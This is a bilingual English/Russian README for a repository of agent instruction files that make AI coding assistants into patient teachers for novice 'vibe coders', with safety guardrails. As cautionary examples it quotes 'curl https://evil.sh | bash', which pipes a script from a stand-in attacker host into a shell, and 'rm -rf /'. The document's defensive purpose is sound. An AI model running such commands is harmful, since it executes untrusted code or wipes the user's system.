Vibe coder — a person who generates code with AI but doesn't actually know programming. They can ship products but can't read an error message, don't know what an API is, and might accidentally rm -rf /.
This repo contains skills/instructions for AI coding agents (Claude Code, Opencode, Cursor, Copilot) that transform them from code-generators into patient teachers.
| File | What it does |
|---|---|
CLAUDE.md / AGENTS.md |
Tells your agent to explain everything in plain language, never assume knowledge, and teach step by step |
skills/explain-like-im-5.md |
20+ real-world analogies: variable=box, function=recipe, API=waiter, git=time machine |
skills/debugging-for-non-programmers.md |
Error translation protocol — translate, show, explain, fix, reinforce |
skills/safety-guardrails.md |
Stop API key leaks, SQL injection, rm -rf disasters, and accidental sudo |
skills/project-setup-for-beginners.md |
Setting up a project with every single step explained |
skills/code-review-for-beginners.md |
Code review through questions instead of judgments |
# Claude Code / Opencode
cp CLAUDE.md your-project/
# or
cp AGENTS.md your-project/
# For skills
cp -r skills/ your-project/.opencode/skills/No setup required. Just drop the files into your project root. Your agent will automatically read CLAUDE.md and adjust its behavior.
The gap between "can ship" and "understands what they're shipping" is dangerous. Vibe coders:
- 🚫 Hardcode API keys because nobody explained
.env - 🚫 Deploy with
console.log(process.env)still in the code - 🚫 Run
curl https://evil.sh | bashbecause "the AI said to" - 🚫 Have no idea what a dependency conflict means
These skills close that gap — one conversation at a time.
Вайбкодер — человек, который генерирует код через ИИ, но сам не умеет программировать. Он может собрать продукт, но не может прочитать ошибку, не знает что такое API и может случайно запустить rm -rf /.
Этот репозиторий содержит скиллы/инструкции для AI-агентов (Claude Code, Opencode, Cursor, Copilot), которые превращают их из просто "писателей кода" в терпеливых менторов.
# Claude Code / Opencode
cp CLAUDE.md твой-проект/
# Скиллы
cp -r skills/ твой-проект/.opencode/skills/| Принцип | Суть |
|---|---|
| No assumptions | Каждый раз объясняй как в первый раз. Всегда. |
| Analogies first | Переменная = коробка, функция = рецепт, API = официант |
| Just-in-time | Не вываливай теорию — объясняй когда нужно прямо сейчас |
| Safety first | Не дай пользователю выстрелить себе в ногу |
| Teach, don't just do | Каждая сессия — учебная |
- 20+ готовых аналогий для объяснения концепций программирования
- Протокол обработки ошибок: перевод → локализация → объяснение → исправление → закрепление
- Чеклист безопасности: API-ключи, SQL-инъекции, опасные bash-команды
- Пошаговое создание проекта с объяснением каждого термина
- Code review через вопросы вместо "ты не прав"
Made for vibe coders, by someone who watches them struggle.
⭐ Star if this saved you or a friend from rm -rf / or leaking an API key.